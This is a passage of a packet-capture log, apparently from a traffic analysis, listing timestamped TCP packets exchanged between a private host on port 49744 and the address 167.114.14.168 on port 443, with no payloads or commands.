Oct 2, 2024 06:10:21.884448051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884453058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.884486914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884506941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884682894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.884699106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.884733915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884738922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.884767056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.884790897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.888169050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.888185024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.888230085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.888236046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.888263941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.888283014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.888644934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.888679981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.888717890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.888722897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.888752937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.888777971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983151913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983172894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983273983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983289003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983346939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983355045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983371019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983412981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983421087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983439922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983464956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983689070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983717918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983753920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983757973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983793974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983807087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983870983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983886957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983937979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.983942032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.983982086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984189987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984204054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984260082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984263897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984302998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984360933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984376907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984410048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984414101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984441042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984458923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984715939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984731913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984790087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984795094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.984833956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.984989882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.985006094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.985054970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.985059023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.985101938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074007034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074026108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074085951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074091911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074163914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074266911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074274063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074278116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074325085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074328899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074342012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074388027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074404955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074568033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074580908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074635983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074640036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074681044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074806929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074824095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074868917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.074872971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.074908972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075123072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075139046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075191021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075195074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075232029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075301886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075320005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075351954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075356960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075398922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075398922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075736046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075753927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075792074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075795889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075831890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075905085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075937986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075958967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.075963974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.075993061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.164545059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.164566040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.164766073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.164766073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.164777994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.164807081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.164846897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.164854050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.164911985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165095091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165112019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165193081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165198088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165239096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165379047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165395021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165473938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165478945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165518999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165678024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165693998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165775061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165781021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165817976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165910006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165925980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.165987015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.165992975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.166030884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.166310072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.166326046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.166372061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.166378021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.166393042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.166413069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.166448116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.166470051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.166497946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.166502953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.166539907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.166546106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.169575930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.255196095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255218983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255315065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.255323887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255450964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255467892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255531073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.255536079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255697966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255711079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255768061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.255773067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.255989075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256010056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256067991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.256077051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256247997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256262064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256313086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.256318092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256540060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256556988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256599903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.256604910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256623983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.256644964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.256827116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256840944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.256886005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.256891012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.257102013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.257118940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.257172108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.257179022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.258080959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.345952988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.345973969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346095085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.346122026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346322060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346339941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346385956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.346394062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346410990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.346445084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.346642971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346657991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346724033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.346729994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346859932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346878052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.346963882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.346971035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347289085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347312927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347367048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.347378016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347393990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.347449064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347466946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347498894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.347502947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347529888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.347556114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.347737074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347758055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347806931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.347811937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347948074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.347965956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.348001003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.348006964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.348035097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.348059893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.436755896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.436772108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.436856031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.436867952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.436954975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.436974049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.436975956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.436985016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437012911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437046051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437272072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437319040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437388897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437393904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437441111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437608957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437634945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437674999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437680006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437710047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437721968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437782049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437797070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437838078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.437841892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.437881947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.438076019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438093901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438143969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.438149929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438323975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.438345909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438361883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438412905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.438416958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438597918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.438694000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438714027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438751936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.438756943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.438795090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.438802958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.527379990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.527400970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.527479887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.527486086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.527550936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.527800083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.527817011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.527883053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.527888060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.527937889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528059959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528075933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528130054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528135061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528162956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528197050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528361082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528376102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528414965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528419018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528453112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528470039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528619051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528631926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528692007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528696060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528876066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528903961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528943062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.528947115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.528975964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.529005051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.529120922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.529136896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.529175997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.529181004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.529190063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.529215097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.529577971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.529592037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.529652119 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.529656887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.529726982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618077993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618093014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618176937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618186951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618231058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618454933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618474960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618499041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618504047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618536949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618551016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618757010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618772984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618813992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618818998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.618860006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.618894100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619000912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619016886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619056940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619061947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619097948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619112968 CEST	49744	443	192.168.2.4	167.114.14.168
